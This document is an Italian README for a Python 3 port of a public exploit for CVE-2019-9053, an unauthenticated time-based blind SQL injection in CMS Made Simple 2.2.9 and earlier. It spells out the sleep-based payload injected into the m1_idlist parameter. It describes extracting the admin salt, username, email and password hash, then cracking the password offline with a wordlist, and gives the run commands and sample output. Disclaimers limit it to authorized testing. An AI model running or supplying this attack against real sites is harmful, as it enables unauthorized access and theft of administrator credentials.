
Exploit di SQL injection blind time-based non autenticato per CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portato a Python 3.
Disclaimer: Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Eseguirlo contro sistemi senza esplicita autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
Questa è una portabilità in Python 3 dell'exploit pubblico per CVE-2019-9053 — una vulnerabilità non autenticata di SQL injection blind basata sul tempo in CMS Made Simple ≤ 2.2.9.
Il parametro vulnerabile è m1_idlist sull'endpoint /moduleinterface.php (modulo Notizie). L'input utente viene passato non sanificato in una query SQL, consentendo a un attaccante non autenticato di estrarre il salt dell'amministratore, nome utente, email e hash della password — e opzionalmente decifrare la password offline.
Exploit originale di Daniele Scanu @ Certimeter Group.
Portabilità in Python 3 con correzioni e pulizia.
L'exploit utilizza un oracolo di temporizzazione — inietta SELECT sleep(T) in una condizione SQL LIKE e misura il tempo di risposta HTTP. Se il server si ferma per ≥ T secondi, la condizione iniettata era vera. Ciò consente di estrarre i dati un carattere alla volta senza che alcun dato appaia mai nel corpo della risposta HTTP.
Struttura del payload:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
Ordine di estrazione:
Dopo l'estrazione, un attacco dizionario offline opzionale calcola MD5(salt + word) contro una wordlist — non sono necessarie ulteriori richieste di rete.
Lo script originale era scritto per Python 2. Le seguenti modifiche sostanziali sono state corrette:
pip3 install requests termcolor
| Dipendenze | Scopo |
|---|---|
requests | Richieste HTTP al target |
termcolor | Output terminale colorato |
# Estrazione base (nessuna decifratura password)
python3 exploit.py -u http://<target-ip>/simple
# Estrazione + decifratura offline password
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Opzione | Descrizione |
|---|---|
-u, |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
Questo exploit è fornito esclusivamente per test di penetrazione autorizzati e uso CTF/educativo.
L'uso non autorizzato contro sistemi che non possiedi o per cui non hai esplicita autorizzazione scritta per testarli è un reato penale ai sensi dell'IT Act, 2000 (India) e di leggi equivalenti in tutto il mondo.
| Passo | Campo | Tabella | Note |
|---|
| 1 | Salt | cms_siteprefs | Necessario per decifrare la password |
| 2 | Username | cms_users | user_id = 1 (admin) |
| 3 | cms_users | user_id = 1 (admin) | |
| 4 | Password | cms_users | Memorizzata come MD5(salt + password) |
| # | Modifica | Motivo |
|---|
| 1 | print "..." → print("...") | print è una funzione in Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() richiede bytes in Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict ombreggia un built-in; passato a context manager |
| 4 | print "\033c" → print("\033c", end="") | Evita doppio newline nella pulizia del terminale |
| 5 | print colored(...) → print(colored(...)) | colored() restituisce una stringa; necessita un wrapper print() |
--url| URL di base dell'installazione CMS Made Simple |
-w, --wordlist | Percorso di una wordlist per la decifratura offline della password |
-c, --crack | Abilita la modalità di decifratura della password |
| Campo | Valore |
|---|
| CVE ID | CVE-2019-9053 |
| CVSS Score | 7.5 (Alto) |
| Type | SQL Injection Blind basata sul tempo non autenticata |
| Affected | CMS Made Simple ≤ 2.2.9 |
| Parameter | m1_idlist in News module |
| Auth needed | Nessuna |
| Patch | CMS Made Simple 2.2.10+ |